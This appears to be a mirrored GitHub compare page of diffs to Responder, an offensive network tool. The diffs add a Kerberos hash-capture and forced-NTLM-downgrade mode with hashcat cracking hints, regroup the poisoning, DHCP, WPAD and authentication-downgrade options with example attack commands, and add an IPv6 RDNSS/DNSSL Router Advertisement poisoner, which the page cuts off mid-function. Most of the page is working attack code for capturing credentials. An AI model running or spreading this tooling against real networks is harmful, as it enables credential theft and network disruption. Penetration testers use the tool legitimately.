mirror of
https://github.com/lgandx/Responder.git
synced 2026-01-27 08:39:04 +00:00
Compare commits
20 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fb29fe25db | ||
|
|
f1649c136d | ||
|
|
9a2144a8a1 | ||
|
|
271b564bd8 | ||
|
|
83ecb7d343 | ||
|
|
2da22ce312 | ||
|
|
1191936598 | ||
|
|
b4a1423875 | ||
|
|
bb4c041481 | ||
|
|
9cda8146df | ||
|
|
b11946fcb5 | ||
|
|
de3eb39b20 | ||
|
|
9234d3b8f7 | ||
|
|
8bbe77a709 | ||
|
|
376d2e87d2 | ||
|
|
683fa6047e | ||
|
|
1d41902e48 | ||
|
|
35e6d70d83 | ||
|
|
b74f42f56a | ||
|
|
1f7858a223 |
@@ -105,6 +105,37 @@ SendRA = Off
|
||||
; Example: 2001:db8::1
|
||||
BindToIPv6 =
|
||||
|
||||
[Kerberos]
|
||||
; ======================================================
|
||||
; Kerberos Operation Mode (NEW FEATURE)
|
||||
; ======================================================
|
||||
;
|
||||
; CAPTURE (default) - Capture Kerberos AS-REP hashes
|
||||
; - Responds with KDC_ERR_PREAUTH_REQUIRED
|
||||
; - Client sends encrypted timestamp
|
||||
; - Responder captures AS-REP hash
|
||||
; - Crack with: hashcat -m 7500
|
||||
; - Good for: Stealthy operation, unique Kerberos hashes
|
||||
;
|
||||
; FORCE_NTLM - Force client to fall back to NTLM
|
||||
; - Responds with KDC_ERR_ETYPE_NOSUPP
|
||||
; - Client abandons Kerberos, tries NTLM
|
||||
; - Responder's SMB/HTTP captures NetNTLMv2
|
||||
; - Crack with: hashcat -m 5600
|
||||
; - Good for: Relay attacks, faster cracking
|
||||
;
|
||||
; Choose based on engagement needs:
|
||||
; - Use CAPTURE for stealth and Kerberos-specific hashes
|
||||
; - Use FORCE_NTLM for relay attacks or faster cracking
|
||||
;
|
||||
; Default: CAPTURE (if not specified)
|
||||
; ======================================================
|
||||
|
||||
KerberosMode = CAPTURE
|
||||
|
||||
; Alternative: Force NTLM fallback
|
||||
;KerberosMode = FORCE_NTLM
|
||||
|
||||
[HTTP Server]
|
||||
|
||||
; Set to On to always serve the custom EXE
|
||||
|
||||
304
Responder.py
304
Responder.py
@@ -26,31 +26,281 @@ from utils import *
|
||||
import struct
|
||||
banner()
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
|
||||
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
|
||||
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
|
||||
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
|
||||
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
|
||||
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
|
||||
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
|
||||
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
|
||||
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
|
||||
import optparse
|
||||
import textwrap
|
||||
|
||||
parser.add_option('--dhcpv6', action="store_true", help="Enable DHCPv6 poisoning attack (disabled by default). Responds to DHCPv6 SOLICIT messages and configures attacker as DNS server. WARNING: May cause network disruption.", dest="DHCPv6_On_Off", default=False)
|
||||
class ResponderHelpFormatter(optparse.IndentedHelpFormatter):
|
||||
"""Custom formatter for better help output"""
|
||||
|
||||
def format_description(self, description):
|
||||
if description:
|
||||
return description + "\n"
|
||||
return ""
|
||||
|
||||
def format_epilog(self, epilog):
|
||||
if epilog:
|
||||
return "\n" + epilog + "\n"
|
||||
return ""
|
||||
|
||||
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
|
||||
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
||||
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
||||
def create_parser():
|
||||
"""Create argument parser with organized option groups"""
|
||||
|
||||
usage = textwrap.dedent("""\
|
||||
python3 %prog -I eth0 -v""")
|
||||
|
||||
description = textwrap.dedent("""\
|
||||
══════════════════════════════════════════════════════════════════════════════
|
||||
Responder - LLMNR/NBT-NS/mDNS Poisoner and Rogue Authentication Servers
|
||||
══════════════════════════════════════════════════════════════════════════════
|
||||
Captures credentials by responding to broadcast/multicast name resolution,
|
||||
DHCP, DHCPv6 requests
|
||||
══════════════════════════════════════════════════════════════════════════════""")
|
||||
|
||||
epilog = textwrap.dedent("""\
|
||||
══════════════════════════════════════════════════════════════════════════════
|
||||
Examples:
|
||||
══════════════════════════════════════════════════════════════════════════════
|
||||
Basic poisoning: python3 Responder.py -I eth0 -v
|
||||
|
||||
##Watch what's going on:
|
||||
Analyze mode (passive): python3 Responder.py -I eth0 -Av
|
||||
|
||||
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
|
||||
parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
|
||||
##Working on old networks:
|
||||
WPAD with forced auth: python3 Responder.py -I eth0 -wFv
|
||||
|
||||
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
||||
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
||||
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
||||
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
|
||||
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in its Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kerberos relaying over HTTP.", dest="AnswerName", default=None)
|
||||
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
|
||||
##Great module:
|
||||
Proxy auth: python3 Responder.py -I eth0 -Pv
|
||||
|
||||
##DHCPv6 + Proxy authentication:
|
||||
DHCPv6 attack: python3 Responder.py -I eth0 --dhcpv6 -vP
|
||||
|
||||
##DHCP -> WPAD injection -> Proxy authentication:
|
||||
DHCP + WPAD injection: python3 Responder.py -I eth0 -Pvd
|
||||
|
||||
##Poison requests to an arbitrary IP:
|
||||
Poison with external IP: python3 Responder.py -I eth0 -e 10.0.0.100
|
||||
|
||||
##Poison requests to an arbitrary IPv6 IP:
|
||||
Poison with external IPv6: python3 Responder.py -I eth0 -6 2800:ac:4000:8f9e:c5eb:2193:71:1d12
|
||||
══════════════════════════════════════════════════════════════════════════════
|
||||
For more info: https://github.com/lgandx/Responder/blob/master/README.md
|
||||
══════════════════════════════════════════════════════════════════════════════""")
|
||||
|
||||
parser = optparse.OptionParser(
|
||||
usage=usage,
|
||||
version=settings.__version__,
|
||||
prog="Responder.py",
|
||||
description=description,
|
||||
epilog=epilog,
|
||||
formatter=ResponderHelpFormatter()
|
||||
)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# REQUIRED OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
required = optparse.OptionGroup(parser,
|
||||
"Required Options",
|
||||
"These options must be specified")
|
||||
|
||||
required.add_option('-I', '--interface',
|
||||
action="store",
|
||||
dest="Interface",
|
||||
metavar="eth0",
|
||||
default=None,
|
||||
help="Network interface to use. Use 'ALL' for all interfaces.")
|
||||
|
||||
parser.add_option_group(required)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# POISONING OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
poisoning = optparse.OptionGroup(parser,
|
||||
"Poisoning Options",
|
||||
"Control how Responder poisons name resolution requests")
|
||||
|
||||
poisoning.add_option('-A', '--analyze',
|
||||
action="store_true",
|
||||
dest="Analyze",
|
||||
default=False,
|
||||
help="Analyze mode. See requests without poisoning. (passive)")
|
||||
|
||||
poisoning.add_option('-e', '--externalip',
|
||||
action="store",
|
||||
dest="ExternalIP",
|
||||
metavar="IP",
|
||||
default=None,
|
||||
help="Poison with a different IPv4 address than Responder's.")
|
||||
|
||||
poisoning.add_option('-6', '--externalip6',
|
||||
action="store",
|
||||
dest="ExternalIP6",
|
||||
metavar="IPv6",
|
||||
default=None,
|
||||
help="Poison with a different IPv6 address than Responder's.")
|
||||
|
||||
poisoning.add_option('--rdnss',
|
||||
action="store_true",
|
||||
dest="RDNSS_On_Off",
|
||||
default=False,
|
||||
help="Poison via Router Advertisements with RDNSS. Sets attacker as IPv6 DNS.")
|
||||
|
||||
poisoning.add_option('--dnssl',
|
||||
action="store",
|
||||
dest="DNSSL_Domain",
|
||||
metavar="DOMAIN",
|
||||
default=None,
|
||||
help="Poison via Router Advertisements with DNSSL. Injects DNS search suffix.")
|
||||
|
||||
poisoning.add_option('-t', '--ttl',
|
||||
action="store",
|
||||
dest="TTL",
|
||||
metavar="HEX",
|
||||
default=None,
|
||||
help="Set TTL for poisoned answers. Hex value (30s = 1e) or 'random'.")
|
||||
|
||||
poisoning.add_option('-N', '--AnswerName',
|
||||
action="store",
|
||||
dest="AnswerName",
|
||||
metavar="NAME",
|
||||
default=None,
|
||||
help="Canonical name in LLMNR answers. (for Kerberos relay over HTTP)")
|
||||
|
||||
parser.add_option_group(poisoning)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# DHCP OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
dhcp = optparse.OptionGroup(parser,
|
||||
"DHCP Options",
|
||||
"DHCP and DHCPv6 poisoning attacks")
|
||||
|
||||
dhcp.add_option('-d', '--DHCP',
|
||||
action="store_true",
|
||||
dest="DHCP_On_Off",
|
||||
default=False,
|
||||
help="Enable DHCPv4 poisoning. Injects WPAD in DHCP responses.")
|
||||
|
||||
dhcp.add_option('-D', '--DHCP-DNS',
|
||||
action="store_true",
|
||||
dest="DHCP_DNS",
|
||||
default=False,
|
||||
help="Inject DNS server (not WPAD) in DHCPv4 responses.")
|
||||
|
||||
dhcp.add_option('--dhcpv6',
|
||||
action="store_true",
|
||||
dest="DHCPv6_On_Off",
|
||||
default=False,
|
||||
help="Enable DHCPv6 poisoning. WARNING: May disrupt network.")
|
||||
|
||||
parser.add_option_group(dhcp)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# WPAD / PROXY OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
wpad = optparse.OptionGroup(parser,
|
||||
"WPAD / Proxy Options",
|
||||
"Web Proxy Auto-Discovery attacks")
|
||||
|
||||
wpad.add_option('-w', '--wpad',
|
||||
action="store_true",
|
||||
dest="WPAD_On_Off",
|
||||
default=False,
|
||||
help="Start WPAD rogue proxy server.")
|
||||
|
||||
wpad.add_option('-F', '--ForceWpadAuth',
|
||||
action="store_true",
|
||||
dest="Force_WPAD_Auth",
|
||||
default=False,
|
||||
help="Force NTLM/Basic auth on wpad.dat retrieval. (may show prompt)")
|
||||
|
||||
wpad.add_option('-P', '--ProxyAuth',
|
||||
action="store_true",
|
||||
dest="ProxyAuth_On_Off",
|
||||
default=False,
|
||||
help="Force proxy authentication. Highly effective. (can't use with -w)")
|
||||
|
||||
wpad.add_option('-u', '--upstream-proxy',
|
||||
action="store",
|
||||
dest="Upstream_Proxy",
|
||||
metavar="HOST:PORT",
|
||||
default=None,
|
||||
help="Upstream proxy for rogue WPAD proxy outgoing requests.")
|
||||
|
||||
parser.add_option_group(wpad)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# AUTHENTICATION OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
auth = optparse.OptionGroup(parser,
|
||||
"Authentication Options",
|
||||
"Control authentication methods and downgrades")
|
||||
|
||||
auth.add_option('-b', '--basic',
|
||||
action="store_true",
|
||||
dest="Basic",
|
||||
default=False,
|
||||
help="Return HTTP Basic auth instead of NTLM. (cleartext passwords)")
|
||||
|
||||
auth.add_option('--lm',
|
||||
action="store_true",
|
||||
dest="LM_On_Off",
|
||||
default=False,
|
||||
help="Force LM hashing downgrade. (for Windows XP/2003)")
|
||||
|
||||
auth.add_option('--disable-ess',
|
||||
action="store_true",
|
||||
dest="NOESS_On_Off",
|
||||
default=False,
|
||||
help="Disable Extended Session Security. (NTLMv1 downgrade)")
|
||||
|
||||
auth.add_option('-E', '--ErrorCode',
|
||||
action="store_true",
|
||||
dest="ErrorCode",
|
||||
default=False,
|
||||
help="Return STATUS_LOGON_FAILURE. (enables WebDAV auth capture)")
|
||||
|
||||
parser.add_option_group(auth)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# OUTPUT OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
output = optparse.OptionGroup(parser,
|
||||
"Output Options",
|
||||
"Control verbosity and logging")
|
||||
|
||||
output.add_option('-v', '--verbose',
|
||||
action="store_true",
|
||||
dest="Verbose",
|
||||
default=False,
|
||||
help="Increase verbosity. (recommended)")
|
||||
|
||||
output.add_option('-Q', '--quiet',
|
||||
action="store_true",
|
||||
dest="Quiet",
|
||||
default=False,
|
||||
help="Quiet mode. Minimal output from poisoners.")
|
||||
|
||||
parser.add_option_group(output)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# PLATFORM OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
platform = optparse.OptionGroup(parser,
|
||||
"Platform Options",
|
||||
"OS-specific settings")
|
||||
|
||||
platform.add_option('-i', '--ip',
|
||||
action="store",
|
||||
dest="OURIP",
|
||||
metavar="IP",
|
||||
default=None,
|
||||
help="Local IP to use. (OSX only)")
|
||||
|
||||
parser.add_option_group(platform)
|
||||
|
||||
return parser
|
||||
|
||||
parser = create_parser()
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if not os.geteuid() == 0:
|
||||
@@ -342,7 +592,15 @@ def main():
|
||||
# DHCPv6 Server (disabled by default, enable with --dhcpv6)
|
||||
if settings.Config.DHCPv6_On_Off:
|
||||
from servers.DHCPv6 import DHCPv6
|
||||
threads.append(Thread(target=serve_thread_dhcpv6, args=('', 547, DHCPv6,)))
|
||||
threads.append(Thread(target=serve_thread_dhcpv6, args=('', 547, DHCPv6,)))
|
||||
|
||||
if settings.Config.RDNSS_On_Off or settings.Config.DNSSL_Domain:
|
||||
from poisoners.RDNSS import RDNSS
|
||||
threads.append(Thread(target=RDNSS, args=(
|
||||
settings.Config.Interface, # 1. interface
|
||||
settings.Config.RDNSS_On_Off, # 2. rdnss_enabled (bool)
|
||||
settings.Config.DNSSL_Domain # 3. dnssl_domain (str or None)
|
||||
)))
|
||||
|
||||
# Load MDNS, NBNS and LLMNR Poisoners
|
||||
if settings.Config.LLMNR_On_Off:
|
||||
@@ -455,7 +713,7 @@ def main():
|
||||
if settings.Config.DNS_On_Off:
|
||||
from servers.DNS import DNS, DNSTCP
|
||||
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 53, DNSTCP,)))
|
||||
|
||||
if settings.Config.SNMP_On_Off:
|
||||
from servers.SNMP import SNMP
|
||||
|
||||
146
packets.py
146
packets.py
@@ -1249,42 +1249,6 @@ class SMBSessionData(Packet):
|
||||
self.fields["bcc"] = StructWithLenPython2or3("<h", len(CompleteBCC))
|
||||
self.fields["PasswordLen"] = StructWithLenPython2or3("<h", len(str(self.fields["AccountPassword"])))
|
||||
|
||||
class SMBNegoFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("separator1","\x02" ),
|
||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("separator2","\x02"),
|
||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
("separator3","\x02"),
|
||||
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||
("separator4","\x02"),
|
||||
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||
("separator5","\x02"),
|
||||
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||
("separator6","\x02"),
|
||||
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||
])
|
||||
|
||||
class SMBSessionFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\x04\x11"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x00\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("securitybloblength","\x4a\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xd4\x00\x00\xa0"),
|
||||
("bcc1",""),
|
||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = StructPython2or3('<h',self.fields["Data"])
|
||||
|
||||
class SMBTreeConnectData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
@@ -2381,113 +2345,3 @@ class RPCNTLMNego(Packet):
|
||||
|
||||
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
|
||||
|
||||
################### Mailslot NETLOGON ######################
|
||||
class NBTUDPHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x11"),
|
||||
("MoreFrag", "\x02"),
|
||||
("TID", "\x82\x92"),
|
||||
("SrcIP", "0.0.0.0"),
|
||||
("SrcPort", "\x00\x8a"), ##Always 138
|
||||
("DatagramLen", "\x00\x00"),
|
||||
("PacketOffset", "\x00\x00"),
|
||||
("ClientNBTName", ""),
|
||||
("DstNBTName", ""),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["SrcIP"] = RespondWithIPAton()
|
||||
## DatagramLen.
|
||||
DataGramLen = str(self.fields["PacketOffset"])+str(self.fields["ClientNBTName"])+str(self.fields["DstNBTName"])+str(self.fields["Data"])
|
||||
self.fields["DatagramLen"] = StructWithLenPython2or3(">h",len(DataGramLen))
|
||||
|
||||
class SMBTransMailslot(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("TotalParamCount", "\x00\x00"),
|
||||
("TotalDataCount", "\x00\x00"),
|
||||
("MaxParamCount", "\x02\x00"),
|
||||
("MaxDataCount", "\x00\x00"),
|
||||
("MaxSetupCount", "\x00"),
|
||||
("Reserved", "\x00"),
|
||||
("Flags", "\x00\x00"),
|
||||
("Timeout", "\xff\xff\xff\xff"),
|
||||
("Reserved2", "\x00\x00"),
|
||||
("ParamCount", "\x00\x00"),
|
||||
("ParamOffset", "\x00\x00"),
|
||||
("DataCount", "\x00\x00"),
|
||||
("DataOffset", "\x00\x00"),
|
||||
("SetupCount", "\x03"),
|
||||
("Reserved3", "\x00"),
|
||||
("Opcode", "\x01\x00"),
|
||||
("Priority", "\x00\x00"),
|
||||
("Class", "\x02\x00"),
|
||||
("Bcc", "\x00\x00"),
|
||||
("MailSlot", "\\MAILSLOT\\NET\\NETLOGON"),
|
||||
("MailSlotNull", "\x00"),
|
||||
("Padding", "\x00\x00\x00"),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
#Padding
|
||||
if len(str(self.fields["Data"]))%2==0:
|
||||
self.fields["Padding"] = "\x00\x00\x00\x00"
|
||||
else:
|
||||
self.fields["Padding"] = "\x00\x00\x00"
|
||||
BccLen = str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])+str(self.fields["Data"])
|
||||
PacketOffsetLen = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved2"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved3"])+str(self.fields["Opcode"])+str(self.fields["Priority"])+str(self.fields["Class"])+str(self.fields["Bcc"])+str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])
|
||||
|
||||
self.fields["DataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
|
||||
self.fields["TotalDataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
|
||||
self.fields["DataOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
|
||||
self.fields["ParamOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
|
||||
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(BccLen))
|
||||
|
||||
class SamLogonResponseEx(Packet):
|
||||
fields = OrderedDict([
|
||||
("Cmd", "\x17\x00"),
|
||||
("Sbz", "\x00\x00"),
|
||||
("Flags", "\xfd\x03\x00\x00"),
|
||||
("DomainGUID", "\xe7\xfd\xf2\x4a\x4f\x98\x8b\x49\xbb\xd3\xcd\x34\xc7\xba\x57\x70"),
|
||||
("ForestName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
|
||||
("ForestNameNull", "\x00"),
|
||||
("ForestDomainName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
|
||||
("ForestDomainNull", "\x00"),
|
||||
("DNSName", "\x0a\x73\x65\x72\x76\x65\x72\x32\x30\x30\x33"),
|
||||
("DNSPointer", "\xc0\x18"),
|
||||
("DomainName", "\x04\x53\x4d\x42\x33"),
|
||||
("DomainTerminator", "\x00"),
|
||||
("ServerLen", "\x0a"),
|
||||
("ServerName", settings.Config.MachineName),
|
||||
("ServerTerminator", "\x00"),
|
||||
("UsernameLen", "\x10"),
|
||||
("Username", settings.Config.Username),
|
||||
("UserTerminator", "\x00"),
|
||||
("SrvSiteNameLen", "\x17"),
|
||||
("SrvSiteName", "Default-First-Site-Name"),
|
||||
("SrvSiteNameNull", "\x00"),
|
||||
("Pointer", "\xc0"),
|
||||
("PointerOffset", "\x5c"),
|
||||
("DCAddrSize", "\x10"),
|
||||
("AddrType", "\x02\x00"),
|
||||
("Port", "\x00\x00"),
|
||||
("DCAddress", "\xc0\xab\x01\x65"),
|
||||
("SinZero", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("Version", "\x0d\x00\x00\x00"),
|
||||
("LmToken", "\xff\xff"),
|
||||
("LmToken2", "\xff\xff"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
Offset = str(self.fields["Cmd"])+str(self.fields["Sbz"])+str(self.fields["Flags"])+str(self.fields["DomainGUID"])+str(self.fields["ForestName"])+str(self.fields["ForestNameNull"])+str(self.fields["ForestDomainName"])+str(self.fields["ForestDomainNull"])+str(self.fields["DNSName"])+str(self.fields["DNSPointer"])+str(self.fields["DomainName"])+str(self.fields["DomainTerminator"])+str(self.fields["ServerLen"])+str(self.fields["ServerName"])+str(self.fields["ServerTerminator"])+str(self.fields["UsernameLen"])+str(self.fields["Username"])+str(self.fields["UserTerminator"])
|
||||
|
||||
DcLen = str(self.fields["AddrType"])+str(self.fields["Port"])+str(self.fields["DCAddress"])+str(self.fields["SinZero"])
|
||||
self.fields["DCAddress"] = RespondWithIPAton()
|
||||
self.fields["ServerLen"] = StructWithLenPython2or3("<B",len(str(self.fields["ServerName"])))
|
||||
self.fields["UsernameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["Username"])))
|
||||
self.fields["SrvSiteNameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["SrvSiteName"])))
|
||||
self.fields["DCAddrSize"] = StructWithLenPython2or3("<B",len(DcLen))
|
||||
self.fields["PointerOffset"] = StructWithLenPython2or3("<B",len(Offset))
|
||||
|
||||
|
||||
357
poisoners/RDNSS.py
Normal file
357
poisoners/RDNSS.py
Normal file
@@ -0,0 +1,357 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
"""
|
||||
RDNSS/DNSSL Poisoner - DNS Router Advertisement Options (RFC 8106)
|
||||
|
||||
Sends IPv6 Router Advertisements with:
|
||||
- RDNSS (Recursive DNS Server) option - advertises Responder as DNS server
|
||||
- DNSSL (DNS Search List) option - injects DNS search suffix
|
||||
|
||||
Both options are independent and can be used separately or together.
|
||||
|
||||
This causes IPv6-enabled clients to:
|
||||
- Use Responder's DNS server for name resolution (RDNSS)
|
||||
- Append search suffix to unqualified names (DNSSL)
|
||||
|
||||
Usage:
|
||||
python Responder.py -I eth0 --rdnss -v # RDNSS only
|
||||
python Responder.py -I eth0 --dnssl corp.local -v # DNSSL only
|
||||
python Responder.py -I eth0 --rdnss --dnssl corp.local -v # Both
|
||||
"""
|
||||
|
||||
import socket
|
||||
import struct
|
||||
import random
|
||||
import time
|
||||
import signal
|
||||
from utils import *
|
||||
|
||||
# ICMPv6 Constants
|
||||
ICMPV6_ROUTER_ADVERTISEMENT = 134
|
||||
ICMPV6_HOP_LIMIT = 255
|
||||
|
||||
# DNS RA Option Types (RFC 8106)
|
||||
ND_OPT_RDNSS = 25 # Recursive DNS Server
|
||||
ND_OPT_DNSSL = 31 # DNS Search List
|
||||
|
||||
# IPv6 All-Nodes Multicast Address
|
||||
IPV6_ALL_NODES = "ff02::1"
|
||||
|
||||
# RA Timing (seconds)
|
||||
RA_INTERVAL_MIN = 30
|
||||
RA_INTERVAL_MAX = 120
|
||||
RA_LIFETIME = 1800 # 30 minutes
|
||||
|
||||
|
||||
class RDNSSOption:
|
||||
"""Recursive DNS Server Option (Type 25)"""
|
||||
|
||||
def __init__(self, dns_servers, lifetime=RA_LIFETIME):
|
||||
self.dns_servers = dns_servers if isinstance(dns_servers, list) else [dns_servers]
|
||||
self.lifetime = lifetime
|
||||
|
||||
def build(self):
|
||||
if not self.dns_servers:
|
||||
return b''
|
||||
|
||||
addresses = b''
|
||||
for server in self.dns_servers:
|
||||
addresses += socket.inet_pton(socket.AF_INET6, server)
|
||||
|
||||
# Length in units of 8 octets: 1 (header) + 2 * num_addresses
|
||||
length = 1 + (2 * len(self.dns_servers))
|
||||
|
||||
header = struct.pack(
|
